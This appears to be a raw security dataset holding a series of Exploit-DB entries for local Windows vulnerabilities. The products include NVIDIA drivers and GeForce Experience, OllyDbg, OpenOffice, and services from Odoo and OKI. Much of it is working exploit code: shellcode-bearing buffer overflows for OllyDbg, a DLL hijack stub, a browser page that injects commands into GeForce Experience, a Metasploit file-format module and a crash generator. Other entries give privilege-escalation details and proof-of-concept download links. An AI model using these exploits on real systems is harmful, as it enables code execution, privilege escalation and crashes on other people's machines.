deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51700
Description: NVClient v5.0 - Stack Buffer Overflow (DoS)
Type: local
Platform: windows
Date: 2023-09-04
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: NVClient v5.0 - Stack Buffer Overflow (DoS)
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 2023-08-19
# Software Link: http://www.neonguvenlik.com/yuklemeler/yazilim/kst-f919-hd2004.rar
# Software Manual: http://download.eyemaxdvr.com/DVST%20ST%20SERIES/CMS/Video%20Surveillance%20Management%20Software(V5.0).pdf
# Vulnerability Type: Buffer Overflow Local
# Tested On: Windows 10 64bit
# Tested Version: 5.0


# Steps to Reproduce:
# 1- Run the python script and create exploit.txt file
# 2- Open the application and log in
# 3- Click the "Config" button in the upper menu
# 4- Click the "User" button just below it
# 5- Now click the "Add users" button in the lower left
# 6- Fill in the Username, Password, and Confirm boxes
# 7- Paste the characters from exploit.txt into the Contact box
# 8- Click OK and crash!

#!/usr/bin/env python3

exploit = 'A' * 846

try:
    with open("exploit.txt","w") as file:
        file.write(exploit)
    print("POC is created")
except:
    print("POC not created")
Exploit-DB #14769
Description: Nvidia Driver - 'nview.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: Encrypt3d.M!nd

Exploit:
/*
Nvidia Driver (nview.dll) Dll Hijacking Exploit
By: Encrypt3d.M!nd
Date: 25\8\2010
Download: http://www.nvidia.com/Download/index.aspx?lang=en-us

Details:
Compile the following code and rename it to nview.dll
and place file with one of the affected types in the same directory of the dll

Affected types: tvp

Code :(used the one from this
advisory:http://www.exploit-db.com/exploits/14758/):
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14769.rar (nvidia-poc.rar)
Exploit-DB #40660
Description: NVIDIA Driver - NvStreamKms 'PsSetCreateProcessNotifyRoutineEx Local Stack Buffer Overflow Callback / Local Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-31
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=918

The NvStreamKms.sys driver calls PsSetCreateProcessNotifyRoutineEx to set up a
process creation notification routine.

In this particular routine,

if ( cur->image_names_count > 0 ) {
  // info_ is the PPS_CREATE_NOTIFY_INFO that is passed to the routine.
  image_filename = info_->ImageFileName;
  buf = image_filename->Buffer;
  if ( buf )
  {
    if ( !v5 )
    {
      i = 0i64;
      num_chars = image_filename->Length / 2;
      // Look for the filename by scanning for backslash.
      if ( num_chars )
      {
        while ( buf[num_chars - (unsigned int)i - 1] != '\\' )
        {
          i = (unsigned int)(i + 1);
          if ( (unsigned int)i >= num_chars )
            goto LABEL_39;
        }
        buf += num_chars - (unsigned __int64)(unsigned int)i;
      }
LABEL_39:
      v26 = (unsigned int)i;
      wcscpy_s((wchar_t *)Dst, i, buf);
      Dst[v26] = 0;
      wcslwr((wchar_t *)Dst);
      v5 = 1;

wcscpy_s is used incorrectly here, as the second argument is not the size of
|Dst|, but rather the calculated size of the filename. |Dst| is a stack buffer
that is at least 255 characters long. The the maximum component paths of most
filesystems on Windows have a limit that is <= 255 though, so this shouldn't be
an issue on normal filesystems.

However, one can pass UNC paths to CreateProcessW containing forward slashes as
the path delimiter, which means that the extracted filename here can be
"a/b/c/...", leading to a buffer overflow. Additionally, this function has no
stack cookie.

e.g.

CreateProcessW(L"\\\\?\\UNC\\127.0.0.1@8000\\DavWWWRoot\\..../..../..../blah.exe", ...

Crashing context with my PoC (Win 10 x64 with 372.54):

NvStreamKms+0x1c6a:
fffff801`5c791c6a c3              ret

kd> dqs rsp
ffffd000`25bc5d18  00410041`00410041

kd> t

...

KMODE_EXCEPTION_NOT_HANDLED (1e)
...
FAULTING_IP:
NvStreamKms+1c6a
fffff800`5b1d1c6a c3              ret

To reproduce, a WebDAV server is required (can be localhost), and the WebClient
service needs to be started (start can be triggered by user without additional privileges).

Then, run setup to create the long path to the target executable (you'll need to
change the base directories), and then run poc_part1, and then poc_part2 (with
the right UNC path) on the target machine.


Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40660.zip
Exploit-DB #40655
Description: NVIDIA Driver - UVMLiteController ioctl Handling Unchecked Input/Output Lengths Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-31
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=880

The \\.\UVMLiteController device is created by the nvlddmkm.sys driver, and can be opened by any user. The driver handles various control codes for this device, but there is no validation for the input/output buffer and their sizes.

In addition to potential overreads on the input, the driver writes output directly to Irp->UserBuffer, which is the output pointer passed to DeviceIoControl() by the user. The IO control codes handled specify METHOD_BUFFERED, but the kernel does no validation that the output pointer is accessible by the user process if the user passes an output buffer size of 0.

This means that a user mode program can cause a write of (at least) the 32-bit values 0 or 31, or the 8-bit value 0 to any address given to the driver.

A PoC is attached that causes a bsod when the kernel tries to write to 0x[PII_REDACTED]414141+0x30.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40655.zip
Exploit-DB #46972
Description: Nvidia GeForce Experience Web Helper - Command Injection
Type: local
Platform: windows
Date: 2019-06-03
Author: Rhino Security Labs

Exploit:
<!-- 
POC for CVE‑2019‑5678 Nvidia GeForce Experience OS command injection via a web browser
Author: David Yesland -- Rhino Security Labs
 -->
<html>
   <head>
      <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
   </head>
   <body>
      <script>
         //Send request to local GFE server
          function submitRequest(port,secret)
          {
           var xhr = new XMLHttpRequest();
           xhr.open("POST", "http:\/\/127.0.0.1:"+port+"\/gfeupdate\/autoGFEInstall\/", true);
           xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
           xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
           xhr.setRequestHeader("Content-Type", "text\/html");
          xhr.setRequestHeader("X_LOCAL_SECURITY_COOKIE", secret);
           var body = "\""+document.getElementById("cmd").value+"\"";
          var aBody = new Uint8Array(body.length);
           for (var i = 0; i < aBody.length; i++)
             aBody[i] = body.charCodeAt(i); 
           xhr.send(new Blob([aBody]));
          }
          
          $(document).on('change', '.file-upload-button', function(event) {
          var reader = new FileReader();
          
          reader.onload = function(event) {
          var jsonObj = JSON.parse(event.target.result);
          submitRequest(jsonObj.port,jsonObj.secret);
          }
          
          reader.readAsText(event.target.files[0]);
          });
          
          //Copy text from some text field
          function myFunction() {
          var copyText = document.getElementById("myInput");
          copyText.select();
          document.execCommand("copy");
          
          }
          
          //trigger the copy and file window on ctrl press
          $(document).keydown(function(keyPressed) {
          if (keyPressed.keyCode == 17) {
          myFunction();document.getElementById('file-input').click();
          }
          });
      </script>
      <h2>
         Press CTRL+V+Enter
      </h2>
      <!--Command to run in a hidden input field-->
      <input type="hidden" value="calc.exe" id="cmd" size="55">
      <!--Hidden text box to copy text from-->
      <div style="opacity: 0.0;">
         <input type="text" value="%LOCALAPPDATA%\NVIDIA Corporation\NvNode\nodejs.json"
            id="myInput" size="1">
      </div>
      <!--file input-->
      <input id="file-input" onchange="file_changed(this)" onclick="this.value=null;" accept="application/json" class='file-upload-button' type="file" name="name" style="display: none;" />
   </body>
</html>
Exploit-DB #48391
Description: NVIDIA Update Service Daemon 1.0.21 - 'nvUpdatusService' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-04-28
Author: Roberto Piña

Exploit:
# Exploit Title: NVIDIA Update Service Daemon 1.0.21  - 'nvUpdatusService' Unquoted Service Path
# Discovery by: Roberto Piña
# Discovery Date: 2020-04-27
# Vendor Homepage: https://www.nvidia.com/es-la/
# Software Link : https://www.nvidia.com/es-la/
# Tested Version: 1.0.21
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 


C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "NVIDIA" | findstr /i /v """
NVIDIA Update Service Daemon                                                     nvUpdatusService                          C:\Program Files (x86)\NVIDIA Corporation\NVIDIA Updatus\daemonu.exe                                                                          Auto

C:\>sc qc nvUpdatusService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: nvUpdatusService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START  (DELAYED)
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\NVIDIA Corporation\NVIDIA Updatus\daemonu.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : NVIDIA Update Service Daemon
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: .\UpdatusUser

C:\>

#Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.
Exploit-DB #49857
Description: Odoo 12.0.20190101 - 'nssm.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-05-11
Author: 1F98D

Exploit:
# Exploit Title: Odoo 12.0.20190101 - 'nssm.exe' Unquoted Service Path
# Exploit Author: 1F98D
# Vendor Homepage: https://www.odoo.com/
# Software Link:  https://nightly.odoo.com/12.0/nightly/windows/odoo_12.0.20190101.exe
# Tested Version: 12.0.20190101
# Tested on OS: Windows 
# Step to discover Unquoted Service Path:

C:\> icacls "C:\Program Files (x86)\Odoo 12.0\nssm"

C:\Program Files (x86)\Odoo 12.0\nssm pc-1\user-1:(OI)(CI)(M)
                                      NT SERVICE\TrustedInstaller:(I)(F)
                                      NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                      NT AUTHORITY\SYSTEM:(I)(F)
                                      NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                      BUILTIN\Administrators:(I)(F)
                                      BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                      BUILTIN\Users:(I)(RX)
                                      BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                      CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                      APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                      APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
                                      APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
                                      APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
Exploit-DB #49005
Description: OKI sPSV Port Manager 1.0.41 - 'sPSVOpLclSrv' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-09
Author: Julio Aviña

Exploit:
# Exploit Title: OKI sPSV Port Manager 1.0.41 - 'sPSVOpLclSrv' Unquoted Service Path
# Date: 2020-11-08
# Exploit Author: Julio Aviña
# Vendor Homepage: https://www.oki.com/
# Software Link: https://www.oki.com/mx/printing/download/sPSV_010041_2_270910.exe
# Software Version: 1.0.41
# File Version: 1.4.2.0
# Tested on: Windows 10 Pro x64 es
# Vulnerability Type: Unquoted Service Path


# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%sPSVOpLclSrv%"' get displayname, pathname, startmode, startname

DisplayName            PathName                                                                           StartMode  StartName
OKI sPSV Port Manager  C:\Program Files\Okidata\smart PrintSuperVision\xml\ComApi\extend3\portmgrsrv.exe  Auto       LocalSystem

# 2. To check service info:

C:\>sc qc "sPSVOpLclSrv"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: sPSVOpLclSrv
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Okidata\smart PrintSuperVision\xml\ComApi\extend3\portmgrsrv.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : OKI sPSV Port Manager
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.
Exploit-DB #388
Description: OllyDbg 1.10 - Format String
Type: local
Platform: windows
Date: 2004-08-10
Author: Ahmet Cihan

Exploit:
// Exploit opens a new cmd.exe.Tested on win2k(en)+sp4(en)+ollydbg v1.09d
// Open exploit with ollydebug and run the exploit from ollydebug(F9 key).
// Coded by Ahmet Cihan(a.k.a. hurby)
// Thanx to r3d_b4r0n, Murat Erdo??an(a.k.a. Stormwr), Onur Cihan(a.k.a.eurnie and 3710336), Orhan Tun????z and Mehmet Yakut.

#include <stdio.h>
#include <windows.h>
#include <winbase.h>

#pragma comment(lib,"kernel32.lib")

void main(){
        unsigned char buffer[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
\x90\x90\x90\x90\xEB\x0F\x58\x80\x30\x99\x40\x81\x38\x54\x55\x52\x4B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF\xFF\
\x12\x75\xCC\x12\x75\xF1\xFC\xE1\xFC\xB9\xF1\xFA\xF4\xFD\xB7\x14\xDC\x61\xC9\x21\x26\x17\x98\xE1\x66\x49\
\x54\x55\x52\x4B\xCD%.1423x\x3E\x02\x4B\x02";

        OutputDebugString(buffer);
}

// milw0rm.com [2004-08-10]
Exploit-DB #11465
Description: Ollydbg 2.00 Beta1 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-02-15
Author: _SuBz3r0_

Exploit:
# Exploit Title: [Ollydbg 2.00 Beta1 Local Buffer Overflow Exploit]
# Date: [2010-02-15]
# Author: [_SuBz3r0_]
# Software Link: [http://www.ollydbg.de/version2.html]
# Version: [2.00 Beta 1]
# Tested on: [XP SP3]
# CVE : [if exists]
# Code :
#Ollydbg2 v2.00 beta1 Exploit in Python
print ""
print "##############################################"
print "# _SuBz3r0_ #"
print "##############################################"
print ""
print "Ollydbg v2.00 beta 1 local overflow Exploit"
print "Just For Fun"
print "exploit = [NOP] + [jmp ESP] + [SH3LLC0DE]"
print "Shellcode = calc.exe"
print ""
print "Greetz:piloo le canari & MaX"
print "Tested on: French Windows Xp Sp3 fully Patched"
print ""

import os
import sys

#path to ollydbg.exe
program = 'c:\\ollydbg.exe'

#exploit = [NOP] + [jmp ESP] + [SH3LLC0DE]
#overflow =786*'\x90'
#eip = "\x13\x44\x87\x7c" : kernel32.dll jmp esp
#Shellcode pop up calc.exe
exploit =786*'\x90'+'\x13'+'\x44'+'\x87'+'\x7c'+''.join([
'\xb4\x31\xf8\x2d\x84\xe3\x04\x35\xb8\x3c\x14\x46\x34\x48',
'\x67\xfc\x31\xc9\x83\xe9\xe2\xe8\xff\xff\xff\xff\xc0\x5e',
'\x81\x76\x0e\x03\xf9\xd8\x37\x83\xee\xfc\xe2\xf4\xff\x11',
'\x9c\x37\x03\xf9\x53\x72\x3f\x72\xa4\x32\x7b\xf8\x37\xbc',
'\x4c\xe1\x53\x68\x23\xf8\x33\x7e\x88\xcd\x53\x36\xed\xc8',
'\x18\xae\xaf\x7d\x18\x43\x04\x38\x12\x3a\x02\x3b\x33\xc3',
'\x38\xad\xfc\x33\x76\x1c\x53\x68\x27\xf8\x33\x51\x88\xf5',
'\x93\xbc\x5c\xe5\xd9\xdc\x88\xe5\x53\x36\xe8\x70\x84\x13',
'\x07\x3a\x87\x06\xf5\x99\x8e\x53\x88\xbf\xe8\xbc\x43\xf5',
'\x53\x47\x1f\x54\x53\x5f\x0b\x70\x20\xb4\xc3\x93\x88\x5f',
'\xf3\x73\xdc\x68\x6b\x61\x26\xbd\x0d\xae\x27\xd0\x60\x98',
'\xb4\x54\x03\xf9\xd8\x37'])

print ""
os.execl(program,program,program,exploit)
Exploit-DB #8875
Description: Online Armor < 3.5.0.12 - 'OAmon.sys' Local Privilege Escalation
Type: local
Platform: windows
Date: 2009-06-04
Author: NT Internals

Exploit:
////////////////////////////////////////////////////////////////////////////////////
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | Tall Emu Pty Ltd - http://www.tallemu.com/                                 | //
// |                                                                            | //
// | Affected Software:                                                         | //
// | Online Armor Personal Firewall v3.5 < 3.5.0.12                             | //
// | Online Armor Personal Firewall AV+ < 3.5.0.12                              | //
// |                                                                            | //
// | Affected Driver:                                                           | //
// | TDI Helper Driver - OAmon.sys <= 3.1.0.0                                   | //
// |                                                                            | //
// | Local Privilege Escalation Exploit                                         | //
// | For Educational Purposes Only !                                            | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | NT Internals - http://www.ntinternals.org/                                 | //
// | alex ntinternals org                                                       | //
// | 25 May 2009                                                                | //
// |                                                                            | //
// | References:                                                                | //
// | Online Armor (OAmon.sys) Multiple Privilege Escalation Vulnerabilities     | //
// | NTIADV0806 - http://www.ntinternals.org/ntiadv0806/ntiadv0806.html         | //
// |                                                                            | //
// | Exploiting Common Flaws in Drivers                                         | //
// | Ruben Santamarta - http://www.reversemode.com/                             | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
////////////////////////////////////////////////////////////////////////////////////

Exploit:
http://ntinternals.org/ntiadv0806/OAmon_Exp.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8875.zip (2009-OAmon_Exp.zip)

Advisory:
http://www.ntinternals.org/ntiadv0806/ntiadv0806.html

# milw0rm.com [2009-06-04]
Exploit-DB #18923
Description: OpenOffice - OLE Importer DocumentSummaryInformation Stream Handling Overflow (Metasploit)
Type: local
Platform: windows
Date: 2012-05-25
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info={})
		super(update_info(info,
			'Name'           => "OpenOffice OLE Importer DocumentSummaryInformation Stream Handling Overflow",
			'Description'    => %q{
					This module exploits a vulnerability in OpenOffice 2.3.1 and 2.3.0 on
				Microsoft Windows XP SP3.

				By supplying a OLE file with a malformed DocumentSummaryInformation stream, an
				attacker can gain control of the execution flow, which results arbitrary code
				execution under the context of the user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Marsu <Marsupilamipowa[at]hotmail.fr>', # Vulnerability discovery and PoC
					'juan vazquez'  # Metasploit module
				],
			'References'     =>
				[
					['CVE', '2008-0320'],
					['OSVDB', '44472'],
					['BID', '28819'],
					['EDB', '5584'],
					['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=694']
				],
			'Payload'        =>
				{
					'Space' => 407
				},
			'DefaultOptions'  =>
				{
					'EXITFUNC'          => 'process',
					'DisablePayloadHandler' => 'true'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'OpenOffice 2.3.1 / 2.3.0 on Windows XP SP3',
						{
							'Ret' => 0x609345fe, # add esp, ebx # ... # ret from tl680mi
							'EBX' => 0xffffefa8, # EBX value
							'JmpEsp' => 0x60915cbd, # push esp # ret from tl680mi
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 17 2008",
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [true, 'The filename', 'msf.doc'])
				], self.class)
	end

	def exploit

		path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2008-0320.doc')
		f = File.open(path, 'rb')
		template = f.read
		f.close

		my_payload = payload.encoded
		template[115717, 4] = [target['Ret']].pack("V")
		template[115725, 4] = [target['EBX']].pack("V")
		template[115729, 4] = [target['JmpEsp']].pack("V")
		template[115808, my_payload.length] = my_payload
		file_create(template)

	end

end